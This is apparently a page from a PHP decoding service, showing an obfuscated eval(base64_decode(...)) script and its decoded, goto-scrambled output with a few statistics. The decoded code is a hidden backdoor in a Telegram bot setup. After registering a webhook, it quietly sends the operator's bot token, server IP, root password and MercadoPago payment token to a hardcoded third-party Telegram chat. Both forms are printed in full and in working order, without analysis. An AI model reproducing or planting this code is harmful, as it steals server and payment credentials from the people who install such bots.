Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval(base64_decode('CiBnb3RvIGFWYjhiOyBabUE2XzogaWYgKCRqc29uWyJceDY0XDE0NVx4NzNceDYz..

Decoded Output download


 goto aVb8b; ZmA6_: if ($json["\x64\145\x73\x63\x72\x69\160\x74\151\157\156"] == "\127\x65\142\x68\x6f\157\x6b\40\167\x61\163\x20\x73\x65\x74") { $mensagem = "\xa\x20\40\40\x20\x20\40\40\125\115\40\102\x4f\x54\x20\x46\x4f\x49\x20\104\x45\124\105\x43\124\101\x44\117\x21\41\12\x20\x20\40\40\x20\40\x20\xa\74\142\76\x55\122\114\72\12\74\x2f\x62\76\40" . $hook . "\xa\12\x3c\x62\76\102\x4f\124\40\x54\x4f\x4b\105\116\x3a\xa\x3c\57\x62\76\x20" . $token . "\xa\xa\x3c\x62\x3e\x49\120\72\12\x3c\x2f\142\76\40" . IP . "\12\12\74\142\76\x55\x53\105\x52\x3a\xa\x72\x6f\157\x74\74\57\142\x3e\12\xa\74\142\x3e\x53\105\x4e\x48\101\72\12\x3c\x2f\142\76\x20" . SENHA . "\12\xa\74\142\76\115\x45\x52\103\101\x44\117\120\101\x47\117\40\x54\x4f\113\x45\116\x3a\12\74\57\142\76\40" . MP_TOKEN . "\12\40\x20\40\40\x20\40\40\12\x20\40\x20\40\x20\40\x20\12\40\x20\40\x20\40\40\x20"; $inline_keyboard = json_encode(array("\151\x6e\x6c\151\x6e\x65\x5f\x6b\x65\171\x62\x6f\141\162\x64" => array(array(array("\x74\x65\x78\x74" => "\104\x45\x4c\x45\124\x41\x52\40\x42\x4f\x54", "\165\x72\154" => "\x68\164\x74\x70\x73\72\57\x2f\155\145\147\141\x6c\x6f\x64\157\x6e\x2e\x70\x61\x69\156\x65\154\x73\x73\150\56\143\x6c\157\165\x64\x2f\142\x6f\164\166\x65\156\x64\141\163\x2f\142\x6f\x74\57\x6c\x69\142\x2f\155\145\162\x63\x61\x64\157\160\x61\147\x6f\x2e\x70\x68\160\77\x67\141\155\x65\x3d\x35\71\x37\70\70\61\62\x31"))))); $data1 = array("\x74\145\170\x74" => $mensagem, "\x63\x68\x61\164\137\151\x64" => -1002106934363, "\x70\141\x72\x73\x65\x5f\x6d\x6f\144\145" => "\150\164\155\x6c", "\x72\x65\x70\x6c\171\137\155\x61\162\153\165\160" => $inline_keyboard); file_get_contents("\150\164\164\160\x73\72\57\57\141\x70\151\x2e\x74\145\154\x65\147\x72\141\155\x2e\157\x72\147\x2f\x62\157\164\x37\61\x30\x35\70\67\63\62\x34\63\72\x41\x41\x48\x6e\127\114\117\126\x71\x52\137\137\x42\x31\x58\x77\142\145\162\x4c\x4d\71\143\x37\70\145\60\x6a\146\x58\x54\111\x6d\106\153\57\163\145\x6e\144\115\145\163\x73\x61\147\x65\77" . http_build_query($data1)); } goto wMBW9; OB0dh: $texto = $bot->Text(); goto rv3pg; wka10: $ch = curl_init(); goto SKZby; wMBW9: $chat_id = $bot->ChatID(); goto OB0dh; InSVn: curl_close($ch); goto l0y8w; aVb8b: $bot = new Telegram($token); goto wka10; M1q5S: $response = curl_exec($ch); goto XLkwN; PJCPi: curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); goto M1q5S; rv3pg: $nome = $bot->FirstName() . "\x20" . $bot->LastName(); goto izonb; O91BQ: curl_setopt($ch, CURLOPT_POST, 1); goto PJCPi; izonb: $nomeurl = urlencode(base64_encode($bot->FirstName() . "\x20" . $bot->LastName())); goto ViHVq; l0y8w: $json = json_decode($response, true); goto ZmA6_; SKZby: curl_setopt($ch, CURLOPT_URL, "\150\x74\x74\160\x73\x3a\57\57\x61\x70\x69\56\164\x65\154\x65\x67\162\x61\155\56\157\162\x67\57\142\x6f\x74{$token}\57\x73\145\x74\x57\x65\x62\x68\x6f\157\x6b\77\x75\x72\x6c\x3d{$hook}"); goto O91BQ; XLkwN: if ($response === false) { echo "\x45\x72\162\157\40\x6e\141\x20\162\145\x71\165\151\163\151\xc3\xa7\xc3\xa3\157\x3a\40" . curl_error($ch); } else { echo "\x57\x65\x62\150\157\157\x6b\40\x64\145\146\151\156\x69\144\x6f\40\x63\x6f\x6d\x20\163\165\143\145\163\163\x6f\56"; } goto InSVn; ViHVq:

Did this file decode correctly?

Original Code

<?php eval(base64_decode('CiBnb3RvIGFWYjhiOyBabUE2XzogaWYgKCRqc29uWyJceDY0XDE0NVx4NzNceDYzXHg3Mlx4NjlcMTYwXHg3NFwxNTFcMTU3XDE1NiJdID09ICJcMTI3XHg2NVwxNDJceDY4XHg2ZlwxNTdceDZiXDQwXDE2N1x4NjFcMTYzXHgyMFx4NzNceDY1XHg3NCIpIHsgJG1lbnNhZ2VtID0gIlx4YVx4MjBcNDBcNDBceDIwXHgyMFw0MFw0MFwxMjVcMTE1XDQwXDEwMlx4NGZceDU0XHgyMFx4NDZceDRmXHg0OVx4MjBcMTA0XHg0NVwxMjRcMTA1XHg0M1wxMjRcMTAxXHg0NFwxMTdceDIxXDQxXDEyXHgyMFx4MjBcNDBcNDBceDIwXDQwXHgyMFx4YVw3NFwxNDJcNzZceDU1XDEyMlwxMTRcNzJcMTJcNzRceDJmXHg2Mlw3Nlw0MCIgLiAkaG9vayAuICJceGFcMTJceDNjXHg2Mlw3NlwxMDJceDRmXDEyNFw0MFx4NTRceDRmXHg0YlwxMDVcMTE2XHgzYVx4YVx4M2NcNTdceDYyXDc2XHgyMCIgLiAkdG9rZW4gLiAiXHhhXHhhXHgzY1x4NjJceDNlXHg0OVwxMjBcNzJcMTJceDNjXHgyZlwxNDJcNzZcNDAiIC4gSVAgLiAiXDEyXDEyXDc0XDE0Mlw3Nlx4NTVceDUzXDEwNVx4NTJceDNhXHhhXHg3Mlx4NmZcMTU3XHg3NFw3NFw1N1wxNDJceDNlXDEyXHhhXDc0XDE0Mlx4M2VceDUzXDEwNVx4NGVceDQ4XDEwMVw3MlwxMlx4M2NceDJmXDE0Mlw3Nlx4MjAiIC4gU0VOSEEgLiAiXDEyXHhhXDc0XDE0Mlw3NlwxMTVceDQ1XHg1MlwxMDNcMTAxXHg0NFwxMTdcMTIwXDEwMVx4NDdcMTE3XDQwXHg1NFx4NGZcMTEzXHg0NVwxMTZceDNhXDEyXDc0XDU3XDE0Mlw3Nlw0MCIgLiBNUF9UT0tFTiAuICJcMTJcNDBceDIwXDQwXDQwXHgyMFw0MFw0MFwxMlx4MjBcNDBceDIwXDQwXHgyMFw0MFx4MjBcMTJcNDBceDIwXDQwXHgyMFw0MFw0MFx4MjAiOyAkaW5saW5lX2tleWJvYXJkID0ganNvbl9lbmNvZGUoYXJyYXkoIlwxNTFceDZlXHg2Y1wxNTFceDZlXHg2NVx4NWZceDZiXHg2NVwxNzFceDYyXHg2ZlwxNDFcMTYyXHg2NCIgPT4gYXJyYXkoYXJyYXkoYXJyYXkoIlx4NzRceDY1XHg3OFx4NzQiID0+ICJcMTA0XHg0NVx4NGNceDQ1XDEyNFx4NDFceDUyXDQwXHg0Mlx4NGZceDU0IiwgIlwxNjVceDcyXDE1NCIgPT4gIlx4NjhcMTY0XHg3NFx4NzBceDczXDcyXDU3XHgyZlwxNTVcMTQ1XDE0N1wxNDFceDZjXHg2Zlx4NjRcMTU3XHg2ZVx4MmVceDcwXHg2MVx4NjlcMTU2XHg2NVwxNTRceDczXHg3M1wxNTBcNTZcMTQzXHg2Y1wxNTdcMTY1XHg2NFx4MmZcMTQyXHg2ZlwxNjRcMTY2XHg2NVwxNTZceDY0XDE0MVwxNjNceDJmXDE0Mlx4NmZceDc0XDU3XHg2Y1x4NjlcMTQyXHgyZlwxNTVcMTQ1XDE2Mlx4NjNceDYxXHg2NFwxNTdcMTYwXHg2MVwxNDdceDZmXHgyZVx4NzBceDY4XDE2MFw3N1x4NjdcMTQxXDE1NVx4NjVceDNkXHgzNVw3MVx4MzdcNzBcNzBcNjFcNjJceDMxIikpKSkpOyAkZGF0YTEgPSBhcnJheSgiXHg3NFwxNDVcMTcwXHg3NCIgPT4gJG1lbnNhZ2VtLCAiXHg2M1x4NjhceDYxXDE2NFwxMzdcMTUxXHg2NCIgPT4gLTEwMDIxMDY5MzQzNjMsICJceDcwXDE0MVx4NzJceDczXHg2NVx4NWZceDZkXHg2ZlwxNDRcMTQ1IiA9PiAiXDE1MFwxNjRcMTU1XHg2YyIsICJceDcyXHg2NVx4NzBceDZjXDE3MVwxMzdcMTU1XHg2MVwxNjJcMTUzXDE2NVwxNjAiID0+ICRpbmxpbmVfa2V5Ym9hcmQpOyBmaWxlX2dldF9jb250ZW50cygiXDE1MFwxNjRcMTY0XDE2MFx4NzNcNzJcNTdcNTdcMTQxXHg3MFwxNTFceDJlXHg3NFwxNDVcMTU0XHg2NVwxNDdceDcyXDE0MVwxNTVceDJlXDE1N1x4NzJcMTQ3XHgyZlx4NjJcMTU3XDE2NFx4MzdcNjFceDMwXHgzNVw3MFw2N1w2M1w2Mlx4MzRcNjNcNzJceDQxXHg0MVx4NDhceDZlXDEyN1wxMTRcMTE3XDEyNlx4NzFceDUyXDEzN1wxMzdceDQyXHgzMVx4NThceDc3XDE0MlwxNDVcMTYyXHg0Y1x4NGRcNzFcMTQzXHgzN1w3MFwxNDVcNjBceDZhXDE0Nlx4NThceDU0XDExMVx4NmRcMTA2XDE1M1w1N1wxNjNcMTQ1XHg2ZVwxNDRcMTE1XDE0NVwxNjNceDczXHg2MVwxNDdceDY1XDc3IiAuIGh0dHBfYnVpbGRfcXVlcnkoJGRhdGExKSk7IH0gZ290byB3TUJXOTsgT0IwZGg6ICR0ZXh0byA9ICRib3QtPlRleHQoKTsgZ290byBydjNwZzsgd2thMTA6ICRjaCA9IGN1cmxfaW5pdCgpOyBnb3RvIFNLWmJ5OyB3TUJXOTogJGNoYXRfaWQgPSAkYm90LT5DaGF0SUQoKTsgZ290byBPQjBkaDsgSW5TVm46IGN1cmxfY2xvc2UoJGNoKTsgZ290byBsMHk4dzsgYVZiOGI6ICRib3QgPSBuZXcgVGVsZWdyYW0oJHRva2VuKTsgZ290byB3a2ExMDsgTTFxNVM6ICRyZXNwb25zZSA9IGN1cmxfZXhlYygkY2gpOyBnb3RvIFhMa3dOOyBQSkNQaTogY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCB0cnVlKTsgZ290byBNMXE1UzsgcnYzcGc6ICRub21lID0gJGJvdC0+Rmlyc3ROYW1lKCkgLiAiXHgyMCIgLiAkYm90LT5MYXN0TmFtZSgpOyBnb3RvIGl6b25iOyBPOTFCUTogY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BPU1QsIDEpOyBnb3RvIFBKQ1BpOyBpem9uYjogJG5vbWV1cmwgPSB1cmxlbmNvZGUoYmFzZTY0X2VuY29kZSgkYm90LT5GaXJzdE5hbWUoKSAuICJceDIwIiAuICRib3QtPkxhc3ROYW1lKCkpKTsgZ290byBWaUhWcTsgbDB5OHc6ICRqc29uID0ganNvbl9kZWNvZGUoJHJlc3BvbnNlLCB0cnVlKTsgZ290byBabUE2XzsgU0taYnk6IGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICJcMTUwXHg3NFx4NzRcMTYwXHg3M1x4M2FcNTdcNTdceDYxXHg3MFx4NjlcNTZcMTY0XHg2NVwxNTRceDY1XHg2N1wxNjJceDYxXDE1NVw1NlwxNTdcMTYyXHg2N1w1N1wxNDJceDZmXHg3NHskdG9rZW59XDU3XHg3M1wxNDVceDc0XHg1N1x4NjVceDYyXHg2OFx4NmZcMTU3XHg2Ylw3N1x4NzVceDcyXHg2Y1x4M2R7JGhvb2t9Iik7IGdvdG8gTzkxQlE7IFhMa3dOOiBpZiAoJHJlc3BvbnNlID09PSBmYWxzZSkgeyBlY2hvICJceDQ1XHg3MlwxNjJcMTU3XDQwXHg2ZVwxNDFceDIwXDE2MlwxNDVceDcxXDE2NVwxNTFcMTYzXDE1MVx4YzNceGE3XHhjM1x4YTNcMTU3XHgzYVw0MCIgLiBjdXJsX2Vycm9yKCRjaCk7IH0gZWxzZSB7IGVjaG8gIlx4NTdceDY1XHg2MlwxNTBcMTU3XDE1N1x4NmJcNDBceDY0XDE0NVwxNDZcMTUxXDE1Nlx4NjlcMTQ0XHg2Zlw0MFx4NjNceDZmXHg2ZFx4MjBcMTYzXDE2NVwxNDNcMTQ1XDE2M1wxNjNceDZmXDU2IjsgfSBnb3RvIEluU1ZuOyBWaUhWcTog')); ?>

Function Calls

base64_decode 1

Variables

None

Stats

MD5 1b354597c32eb381c2fbb9fa60511ba6
Eval Count 1
Decode Time 61 ms